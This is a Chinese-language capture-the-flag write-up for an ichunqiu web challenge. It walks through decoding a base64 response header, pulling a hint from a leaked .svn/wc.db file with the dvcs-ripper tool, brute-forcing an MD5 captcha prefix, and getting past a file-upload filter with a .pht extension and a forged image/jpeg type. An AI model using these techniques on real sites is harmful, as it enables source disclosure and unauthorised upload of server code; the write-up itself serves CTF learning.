Upload--出题人套路

跟紧出题人套路,各种写死的逻辑

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 22 Mar 2018 03:30:48 GMT
Content-Type: text/html
Content-Length: 87
Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu4.19
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
flag: ZmxhZ19pc19oZXJlOiBOekUyTkRjMA==
Vary: Accept-Encoding

</br>Hi,CTFer!u should be a fast man:)<!-- Please post the ichunqiu what you find -->

发现flag字段,每次都不一样,base64解码后flag_is_here: NzE2NDc0,猜测是把每次的flag字段的值解码后,POST给index.php,参数名为ichunqiu,脚本如下:


import base64,requests

def main():
    url='http://1f7938fad6ad47efa12b0f1ded9a8c089f3fea424ec84a20.game.ichunqiu.com/'
    a = requests.session()
    b = a.get(url)
    key1 = b.headers["flag"]
    c = base64.b64decode(key1)
    d = str(c).split(':')
    key = base64.b64decode(d[1])
    body = {"ichunqiu":key}
    f = a.post(url,data=body)
    print f.text

if __name__ == '__main__':
    main()

得到下一步提示,Path:3712901a08bb58557943ca31f3487b7d ,访问3712901a08bb58557943ca31f3487b7d/重定向到action.php?action=login,测试文件包含无果,然后扫描目录发现是.svn泄露

.svn泄露

本题是直接访问:3712901a08bb58557943ca31f3487b7d/.svn/wc.db拿到提示

OK!
Congratulations!
My username is md5(HEL1OW10rDEvery0n3)
:)

算出:8638d5263ab0d3face193725c23ce095

.svn目录结构

举例.svn目录如下:

➜  Desktop tree .svn -F   
.svn
├── entries
├── format
├── pristine/
├── tmp/
└── wc.db

svn信息利用原理

参考:svn,git信息泄漏利用原理及现状

  • svn<=1.6

这里面就有.svn/entries,这个文件包含着该基础目录下所有的文件和目录,直接递推查找就行

  • svn>1.6

svn在1.6之后引入了wc.db来管理文件,该文件位于.svn/wc.db。普通文件位置:somedomain/.svn/pristine/”XX”/”CHECKSUM”.svn-base,CHECKSUM是文件的sha1值,xx则是他的前两位。那这个CHECKSUM去哪找呢?就是我们刚才提到的wc.db,这是一个sqlite数据库。

可以看出重要的就是wc.db以及entries这两个文件

工具利用

dvcs-ripper

$ perl rip-svn.pl -v -u http://www.example.com/.svn/

如果无法利用工具就尝试手动访问wc.db以及entries这两个文件,也许会有收获

登录

用得到的md5(8638d5263ab0d3face193725c23ce095)进行登录,密码随便填(成功登录才知道,这里不对密码进行校验…),验证码MD5脚本如下:

import hashlib
import itertools as its

words = "1234568790abcdefghijklmnopqrstuvwxyz"
r = its.product(words, repeat=5)

for i in r:
    a = "".join(i)
    md5 = hashlib.md5(a.encode('utf-8')).hexdigest()
    if(md5[0:6] == 'aa2cec'):
        print a
        break

等到下一步提示:

The 7815696ecbf1c96e6894b779456d330e.php:)Welcome 8638d5263ab0d3face193725c23ce095!

上传

试验如下上传参数,最终使用image/jpeg以及1.pht得到flag回显,应该是写死的逻辑。


------WebKitFormBoundarytJvTA9B9Lb4TVKYS
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: text/php



------WebKitFormBoundarytJvTA9B9Lb4TVKYS
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg



------WebKitFormBoundarytJvTA9B9Lb4TVKYS
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg



------WebKitFormBoundarytJvTA9B9Lb4TVKYS
Content-Disposition: form-data; name="file"; filename="1.pht"
Content-Type: image/jpeg

参考: 文件解析漏洞总结-Apache